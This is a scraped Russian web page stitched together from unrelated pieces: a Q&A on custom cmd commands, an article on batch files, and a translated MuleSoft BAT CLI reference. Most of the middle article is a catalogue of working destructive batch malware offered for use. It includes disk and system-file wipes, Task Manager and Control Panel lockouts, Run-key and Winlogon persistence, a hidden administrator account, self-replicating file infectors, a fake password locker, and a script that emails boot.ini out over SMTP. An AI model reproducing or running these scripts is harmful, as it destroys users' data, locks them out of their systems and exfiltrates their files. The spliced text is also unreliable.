Команды bat: Работа с bat-файлами. — База полезных знаний
Содержание
cmd — Создание своей команды для командной строки windows
Вопрос задан
Изменён
8 месяцев назад
Просмотрен
8k раз
Я часто использую командную строку, и почти каждый раз начинаю свои работу с перехода в папку с проектами. Это не очень удобно, можно ли как-то сделать свою команду которая будет переносить меня сразу в нужную папку?
- windows
- cmd
1
- Зайдите в любую директорию, которая установлена как
Path
(Панель управления — Система — Дополнительные параметры системы — Параметры среды… — Path).
Одной из таких директорий являетсяC:\Windows\System32
. - В данную директорию поместите/создайте файл с расширением
.cmd
/.bat
, имя данного файла будет являться будущей командой. Пропишите в данном файле все, что вам необходимо, например задать директорию:
@ECHO OFF cd /D D:\Downloads
Все, можем проверять новую команду: Открываем консоль и пишем имя файла
(у меня файл .test.cmd
и по этому я пишу test
).
Как вариант:
Можно в отдельной папке, например (Z:\scripts), создать .bat скрипт, назвать его например project.bat и наполнить его содержимым:
cd path\to\project
После чего, нужно добавить путь Z:\scripts в переменную PATH в настройках переменных сред.
И при вызове project в консоли, будет исполнятся содержимое файла project.bat
Можно просто в папку с cmd закинуть файл с командой, он также будет работать где угодно при любом запуске. Таким образом в cmd можно добавить сколько угодно команд.
Переходим в папку C:\Windows\System32 и называем файл так, как будем использовать команду, например projects. В нём нам надо будет написать слудующее:
@echo off cd /d путь до твоей папки
Теперь когда ты будешь писать projects в cmd, тебя будет перенаправлять в папку. Ещё для удобства можно добавить команду:
start твоя папка
Надо создать файл [ваша_команда].bat с форматом bat или cmd. Дальше напишите внутрь:
@echo off [и пишите сюда, что будет выполнять команда]
Дальше перейдите по пути C:\Windows\System32 и перекиньте туда этот файл. Откройте командную строку и напишите название файла которого вы перекинули в C:\Windows\System32
Всё.
Зарегистрируйтесь или войдите
Регистрация через Google
Регистрация через Facebook
Регистрация через почту
Отправить без регистрации
Почта
Необходима, но никому не показывается
Отправить без регистрации
Почта
Необходима, но никому не показывается
Нажимая на кнопку «Отправить ответ», вы соглашаетесь с нашими пользовательским соглашением, политикой конфиденциальности и политикой о куки
✔️ Команды для .
bat! ВСЕГДА актуально
Команды для .bat! ВСЕГДА актуально
Listen to this article
Нередко советы по тем или иным действиям и исправлениям в Windows 10, 8 и Windows 7 включают в себя шаги наподобие: «создайте файл .bat со следующим содержимым и запустите его». Однако, начинающий пользователь не всегда знает, как это сделать и что собой представляет такой файл. Первый и самый простой способ создать bat файл — использовать стандартную программу «Блокнот», присутствующую во всех актуальных версиях Windows.
Шаги по созданию будут следующими
- Запустите Блокнот (находится в Программы — Стандартные, в Windows 10 быстрее запустить через поиск в панели задач, если блокнота нет в меню «Пуск», запустить его можно из C:\Windows\notepad.exe).
- Введите в блокнот код вашего bat файла (например, скопируйте откуда-то, либо напишите свой, о некоторых командах — далее в инструкции).
- В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением .
bat и, обязательно, в поле «Тип файла» установите «Все файлы».
- Нажмите кнопку «Сохранить».
Примечание: если файл не сохраняется в указанное расположение, например, на диск C, с сообщение «У вас нет разрешения на сохранение файлов в этом месте», сохраните его в папку «Документы» или на рабочий стол, а затем скопируйте в нужное расположение (причина проблемы в том, что в Windows 10 для записи в некоторые папки нужны права администратора, а поскольку блокнот не был запущен от имени администратора, он не может сохранить файл в указанную папку).
Ваш файл .bat готов: если его запустить, будут автоматически выполнены все перечисленные в файле команды (при условии отсутствия ошибок и необходимости прав администратора: в некоторых случаях может потребоваться запускать файл bat от имени администратора: правый клик по файлу .bat — запустить от имени администратора в контекстном меню).
Примечание: в дальнейшем, если вы захотите отредактировать созданный файл, просто нажмите по нему правой кнопкой мыши и выберите «Изменить».
Код:
[USER=98981]@Echo[/USER] off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
Выключается компьютер
Код:
[USER=98981]@Echo[/USER] off shutdown -s -t 1 -c "lol" >nul
Перезагрузка компьютера
Код:
[USER=98981]@Echo[/USER] off shutdown -r -t 1 -c "lol" >nul
Запрещает запускать программы
Код:
[USER=98981]@Echo[/USER] off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
Удаление дров
Код:
[USER=98981]@Echo[/USER] off del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Удаляет звуки Windows
Код:
[USER=98981]@Echo[/USER] off del "%SystemRoot%\Media" /q >nul
Запрещает заходить в панель управления
Код:
[USER=98981]@Echo[/USER] off reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
Запрещает комбинацию Ctrl-Alt-Delete
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
Меняет местами значение кнопок мыши
Код:
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Удаляет курсор мыши
Код:
del "%SystemRoot%Cursors*.*" >nul
Меняет название корзины
Код:
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F
Убирает панель управления
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
Код:
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
Код:
del c:Program Files/q
Убивает процесс explorer.exe
Код:
taskkill /f /im explorer.exe >nul
Создает миллион папок
Код:
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
Код:
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul
Удаляет команду DEL
Код:
del %0
Будет открывать бесконечно Paint
Код:
:x Start mspaint goto x
Изменяет расширение всех ярлыков на . txt (ломает многие ярлыки)
Код:
assoc .lnk=.txt
Заражает Autoexec
Код:
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul
Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
Код:
[USER=98981]@Echo[/USER] off chcp 1251 net user SUPPORT_388945a0 /delete net user hacker hack /add net localgroup Администраторы hacker /add net localgroup Пользователи SUPPORT_388945a0 /del reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y
сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
Код:
rundll32 user,disableoemlayer
Меняет местами кнопки мыши, но обратная смена не возможна)
Код:
rundll32 user,SwapMouseButton
Удаляет ядро системы
Код:
del %systemroot%\system32\HAL.dll
Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
Код:
[USER=98981]@Echo[/USER] off%[MrWeb]% if '%1=='In_ goto MrWebin if exist c:\MrWeb.bat goto MrWebru if not exist %0 goto MrWeben find "MrWeb"<%0>c:\MrWeb.bat attrib +h c:\MrWeb.bat :MrWebru for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben :MrWebin if exist %2.bat goto MrWeben type c:\MrWeb.bat>>%2.bat echo start %2>>%2.bat%[MrWeb]% :MrWeben
Вирус заражает *.JPG в текущем каталоге
Код:
[USER=98981]@Echo[/USER] off%[MrWeb]% if '%1=='In_ goto MrWebin if exist c:\MrWeb.bat goto MrWebru if not exist %0 goto MrWeben find "MrWeb"<%0>c:\MrWeb.bat attrib +h c:\MrWeb.bat :MrWebru for %%g in (*.jpg) do call c:\MrWeb In_ %%g goto MrWeben :MrWebin if exist %2.bat goto MrWeben type c:\MrWeb.bat>>%2.bat echo start %2>>%2.bat%[MrWeb]% :MrWeben
Жестокие вирусы:
У вашего ламера будет глючить компьютер.
Код:
[USER=98981]@Echo[/USER] off echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs echo do >> %systemdrive%\windows\system32\rundll32.vbs echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs echo loop >> %systemdrive%\windows\system32\rundll32.vbs start %systemdrive%\windows\system32\rundll32.vbs reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f
Вирус который убивает Винду. Не проверяйте на своем компьютере=)
Код:
[USER=98981]@Echo[/USER] This virus created by LIZA [USER=98981]@Echo[/USER] Virus: pcforumhack.ru Virus [USER=98981]@Echo[/USER] Autor: LIZA [USER=98981]@Echo[/USER] off echo Chr(39)>%temp%\temp1.vbs echo Chr(39)>%temp%\temp2.vbs echo on error resume next > %temp%\temp.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0 copy %¶§% %SystemRoot%\user32dll.bat reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f echo fso.
deletefile "C:\ntldr",1 >> %temp%\temp.vbs reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.
vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru">>%temp%\temp.vbs echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru">>%temp%\temp.vbs echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru">>%temp%\temp.vbs echo on error resume next > %temp%\temp1.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs echo do>>%temp%\temp1.vbs echo fso.getfile ("A:\")>>%temp%\temp1.vbs echo loop>>%temp%\temp1.vbs echo on error resume next > %temp%\temp2.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs echo do>>%temp%\temp2.vbs echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.
vbs echo loop>>%temp%\temp2.vbs reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f echo set application=createobject("shell.
>= 1 then >> %temp%\temp.vbs echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs echo colCDROMs.Item(i).eject >> %temp%\temp.vbs echo next >> %temp%\temp.vbs echo End If >> %temp%\temp.vbs echo Call SendPost("smtp.mail.ru", "[email protected]", "[EMAIL][email protected][/EMAIL]", "...", "Копм заражен!") >> %temp%\temp.vbs echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs echo Set Flds = iConf.Fields >> %temp%\temp.vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusing[/URL]") = 2 >> %temp%\temp.vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpauthenticate[/URL]") = 1 >> %temp%\temp.vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusername[/URL]") = "support" >> %temp%\temp.
vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendpassword[/URL]") = "support" >> %temp%\temp.vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserver[/URL]") = "smtp.mail.ru" >> %temp%\temp.vbs echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserverport[/URL]") = 25 >> %temp%\temp.vbs echo Flds.Update >> %temp%\temp.vbs echo iMsg.Configuration = iConf >> %temp%\temp.vbs echo iMsg.To = strTo >> %temp%\temp.vbs echo iMsg.From = strFrom >> %temp%\temp.vbs echo iMsg.Subject = strSubject >> %temp%\temp.vbs echo iMsg.TextBody = strBody >> %temp%\temp.vbs echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs echo iMsg.Send >> %temp%\temp.vbs echo End Function >> %temp%\temp.vbs echo Set iMsg = Nothing >> %temp%\temp.vbs echo Set iConf = Nothing >> %temp%\temp.vbs echo Set Flds = Nothing >> %temp%\temp.vbs echo s.run "shutdown -r -t 0 -c ""pcforumhack.
ru"" -f",1 >> %temp%\temp.vbs start %temp%\temp.vbs start %temp%\temp1.vbs start %temp%\temp2.vbs
Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
Код:
[USER=98981]@Echo[/USER] off CHCP 1251 cls Set Yvaga=На вашем компьютере найден вирус. Set pass=Пароль Set pas=Введите пароль. Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль Set dim=Выключаю вирус... title Внимание!!! CHCP 866 IF EXIST C:\windows\boot.bat ( goto ok ) cls IF NOT EXIST C:\windows\boot.bat ( ECHO Windows Registry Editor Version 5.00 >> C:\0.reg ECHO. >> C:\0.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg ECHO. >> C:\0.reg ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg start/wait regedit -s C:\0.reg del C:\0.reg ECHO [USER=98981]@Echo[/USER] off >>C:\windows\boot.bat ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat ECHO start sys.bat >>C:\windows\boot.bat attrib +r +a +s +h C:\windows\boot.bat copy virus.bat c:\windows\sys.bat attrib +r +a +s +h C:\windows\sys.bat GOTO end) :ok cls Echo %Yvaga% echo. echo %virus% echo %pas% set /a choise = 0 set /p choise=%pass%: if "%choise%" == "101" goto gold if "%choise%" == "200393" goto status exit :status echo %dim% attrib -r -a -s -h C:\windows\boot.bat del C:\windows\boot.bat attrib -r -a -s -h C:\windows\sys.bat del C:\windows\sys.bat cls :gold start C:\ :end
Добавляет программу в автозагрузку ОС
Код:
copy ""%0"" "%SystemRoot%\system32\File.bat" reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Этот вирус,блокирует все программы,но интернет работает.
Код:
[USER=98981]@Echo[/USER] off Echo Virus Loading Date 13.09.96 If exist c:ski.bat goto abc Copy %0 c:ski.bat Attrib +h c:ski.bat Echo c:ski.bat >>autoexec.bat :abc md PRIDUROK md LUZER md DURAK md LAMER Label E: PRIDUROK assoc .exe=.mp3 del c:Program Files/q Echo VIRUS LOAD [USER=98981]@Echo[/USER] off chcp 1251 echo щаска... color 4 [USER=98981]@Echo[/USER] Вас собирается ~CENS~: ZhenyaZERO [USER=98981]@Echo[/USER] Автор вируса: ZhenyaZERO [USER=98981]@Echo[/USER] Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено. pause echo Этап 1: Создание ограничений reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul [USER=98981]@Echo[/USER] off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F del c:Program Files/q taskkill /f /im explorer.exe >nul echo Этап 2: Ща комп начнет глючить Date 13.09.96 If exist c:ski.bat goto abc Copy %0 c:ski.bat Attrib +h c:ski.bat Echo c:ski.bat >>autoexec.bat :abc md PRIDUROK md LUZER md DURAK md LAMER Label E: PRIDUROK assoc .exe=.mp3 del c:Program Files/q echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs echo do >> %systemdrive%\windows\system32\rundll32.vbs echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs echo loop >> %systemdrive%\windows\system32\rundll32.vbs start %systemdrive%\windows\system32\rundll32.
vbs reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs / echo Этап 3: Прощай, винда! del C:\ /s /q del D:\ /s /q del I:\ /s /q
Вы можете менять названия программ, расширений, текст, коды и т. д. Если вам нужно, вы сможете собрать свой вирус (или прогу для троллинга) за несколько минут. Это не гайд по сборке вируса.
Я рассказал про наиболее интересные команды ОС Виндовс, но далеко не про все. Кого заинтересовал этот вопрос и кто хочет узнать больше может воспользоваться интернетом и поиском в системах Яндекс, Гугл и им аналогичных. Использование bat-файлов и подходящих редакторов с разметкой текста, а также интернет ресурсов позволяет весьма удобно программировать без среды разработки на любом языке.
Если Вам понравилась статья — поделитесь с друзьями
995 просмотров
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.
Windows|14.02.2020
Справочник интерфейса командной строки BAT | Документация MuleSoft
BAT CLI предоставляет интерфейс командной строки функционального мониторинга API через интеграцию с платформой Anypoint. Интерфейс командной строки позволяет запускать тесты локально и планировать мониторы для непрерывного тестирования API. Вы можете планировать тесты в облаке с помощью CLI-xAPI.
В этом справочнике описываются синтаксис и ключевые параметры, которые можно использовать с командами bat
. Используя команды bat
, вы можете отлаживать и запускать тесты, получать учетные данные для планирования тестов, планировать тесты, составлять список графиков тестов и выполнять дополнительные операции.
Для успешного выполнения команд учетная запись, под которой выполняется вход BAT CLI, должна иметь необходимые разрешения для действия, выполняемого командой.
Требуются разрешения
Чтобы использовать все команды bat
для выполнения соответствующих действий в Anypoint Platform, вы должны иметь следующие разрешения.
Разрешение | Действия |
---|---|
Создание приложений (Диспетчер выполнения) | Создание частных локаций |
Удалить приложения (Диспетчер выполнения) | Удалить частные местоположения |
Управление настройками (Диспетчер среды выполнения) | Обновить частные местоположения |
Просмотр среды | Вход с помощью командной строки BAT |
Посмотреть организацию | Использовать диспетчер секретов через BAT CLI |
Участник обмена (биржа) | Создать или изменить монитор; добавить или изменить расписание |
Администратор Exchange (Exchange) | Создание, изменение или удаление монитора; добавить, изменить или удалить расписание |
Предоставление доступа к секретам (Менеджер секретов) | Использование диспетчера секретов |
Параметры входа
Чтобы использовать команды bat
для выполнения действий функционального мониторинга API, необходимо сначала войти в систему, используя один из следующих методов входа.
Вход с помощью подключенных приложений
bat [login --client-id --client-secret [--profile=<значение>] --host=<значение>]
Этот параметр выполняет вход на платформу Anypoint учетную запись, используя идентификатор клиента и секрет клиента из связанного приложения. Это обеспечивает альтернативный способ входа с использованием MFA (многофакторной проверки подлинности), поэтому второй фактор не требуется. Теперь MFA требуется для учетных записей без единого входа, если только они не находятся в списке исключений вашей организации. Сведения о связанных приложениях, которые настраиваются администраторами организации, см. в разделе Связанные приложения.
Вход с использованием имени пользователя и пароля
bat [login --username=
Эта опция позволяет войти в учетную запись Anypoint Platform используя имя пользователя и пароль. Он отображает интерактивную команду для пароля.
пароль для пользователя [имя пользователя]: <пароль>
Вы можете включить опцию --password=<пароль>
в команду login
.
Выполнение команд, хранящихся в файле
bat [
Где:
файл
— относительный путь к пути и имени файла.Файл должен иметь одно из следующих базовых имен и одно из следующих расширений:
имена базовых файлов: main, bat
- Расширения
: .yaml или .yml
Когда вы запускаете bat без каких-либо аргументов, BAT читает YAML в текущем каталоге и запускает указанные тесты.
Вы можете создатьconfig
и добавьте различные файлы конфигурации вconfig
для сред.
bat ~/path/to/folder/
Выполняется из нужной папки. BAT ищет и выполняет файлыbat.yaml
иmain.dwl
.bat .
/folder/file.dwl
Выполняется с использованием нужного файла. Корнем проекта является текущая папка.
Корень проекта используется для разрешения импорта и загрузки библиотек и файлов.
bat
Опции команды
--помощь
Отображает информацию о том, как использовать команду.
--валидировать | -В
Проверяет файл или папку. Также работает с
--config
для проверки определенных конфигураций.--config=<имя>
Выбирает файл конфигурации (из папки
config
) и регистрирует результат как глобальную переменную.--версия
Выводит в стандартный вывод номера версий установленных BAT и оболочки. Если последняя версия не установлена, загружается эта версия.
--обновление
Обновляет CLI BAT до последней версии и настраивает файл
.
в текущей папке. Программа всегда учитывает конфигурациюbat-version
.bat-версии
при выполнении тестов. Если указанная версия не установлена, она загружается и устанавливается перед выполнением.--отладка
Отправляет информацию об устранении неполадок на стандартный вывод во время выполнения.
--дорожка
Отправляет данные из локальных исполнений.
--bat-version=<версия>
Выполняет BAT, используя указанную версию.
--init-папка
Сохраняет файлы
exchange.json
иmain.dwl
, который вы генерируете при создании монитора в текущем каталоге. Необязательный.--инициализация
То же, что и команда
bat init
, которая устанавливает базовую папку проекта. В папке находятся следующие файлы:. ├── bat.
yaml ├── конфиг │ ├── default.dwl │ ├── devx.dwl │ ├── qax.dwl │ └── stgx.dwl └── тесты └── HelloWorld.dwl
--password=<значение>
Значение представляет собой пароль для имени пользователя платформы Anypoint. Если нет, используется значение переменной окружения ANYPOINT_PASSWORD. Если значение этой переменной не задано, используется пароль по умолчанию из файла учетных данных.
--profile=<значение>
Профиль:
Имя профиля для доступа к местоположению платформы Anypoint и сохранения информации для входа между сеансами BAT. Использование этого параметра устраняет необходимость повторного входа в систему между сеансами. Необязательный.
Имя профиля для планирования теста, которое может отличаться от используемого вами профиля входа в систему BAT. По умолчанию BAT использует профиль входа для планирования. Необязательный.
Если он отсутствует, используется значение переменной среды ANYPOINT_PROFILE.
Если значение этой переменной не задано, используется профиль по умолчанию.
--username=<значение>
Значение представляет собой имя пользователя платформы Anypoint. Если его нет, используется значение переменной среды ANYPOINT_USERNAME. Если значение для этой переменной не задано, используется имя пользователя по умолчанию из файла учетных данных.
--useProxy
Используйте эту опцию с каждой командой
bat
, если ваша система требует доступа к Anypoint Platform через прокси.--идентификатор клиента
Идентификатор клиента из подключенного приложения. Вы должны использовать эту опцию с командой входа в систему, если вы входите в систему с помощью связанного приложения.
--клиент-секрет
Секрет клиента из подключенного приложения. Вы должны использовать эту опцию с командой входа в систему, если вы входите в систему с помощью связанного приложения.
bat
Команды
Следующие команды bat
можно использовать для управления интеграцией с облаком, а также для планирования и настройки тестов и мониторов с помощью Anypoint Platform.
инициализация
Создает базовую папку проекта с файлами конфигурации, базовым тестом HelloWorld и файлом дескриптора yaml.
расписание ls | список
Список всех расписаний, существующих в организации данного профиля.
создание расписания [--cron="
